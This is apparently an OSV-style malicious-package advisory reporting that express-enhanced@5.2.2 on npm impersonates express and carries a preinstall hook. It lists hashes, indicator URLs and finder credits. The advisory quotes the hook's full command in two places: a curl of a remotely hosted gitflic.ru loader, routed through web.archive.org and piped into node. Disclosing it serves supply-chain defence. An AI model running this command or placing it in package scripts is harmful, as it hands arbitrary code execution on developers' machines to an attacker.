express-enhanced

{"schema_version":"1.7.4","id":"MAL-2026-17489","published":"2026-10-03T05:14:21Z","modified":"2026-10-05T22:46:44.614244775Z","summary":"Malicious code in express-enhanced (npm)","details":"express-enhanced@5.2.2 impersonates express (it copies express's package metadata, including the description \"Fast, unopinionated, minimalist web framework\" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)\nexpress-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.\n","affected":[{"package":{"name":"express-enhanced","ecosystem":"npm"},"versions":["5.2.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"12741fa46a7984140e20dfc874615c84c5a5c5097521837a5e059051439d7bf5","tlsh":"b451c921cc0e8c6326c5a2dd3c68a542622188078e41f81cf369539c8f8e56f71b9fbf"}],"package_integrity":[{"filename":"express-enhanced-5.2.2.tgz","hashes":{"sha1":"24f3fdb91c894a3ca597fbe33360bda8c4976a21","sha512_sri":"sha512-Q67PFw7XYlHJgGS0S8/Mo/hxI07DyFGlUvyBVdBZzxQ/BmnfTWWyAEtPjsZlJe29kHS1Vz5eSPvy8TZtwabZkg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-enhanced/v/5.2.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-enhanced"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"12741fa46a7984140e20dfc874615c84c5a5c5097521837a5e059051439d7bf5"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (express-enhanced@5.2.2).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020872","import_time":"2026-10-04T23:16:29.642783113Z","modified_time":"2026-10-04T23:12:02Z","sha256":"15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6","source":"amazon-inspector","versions":["5.2.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}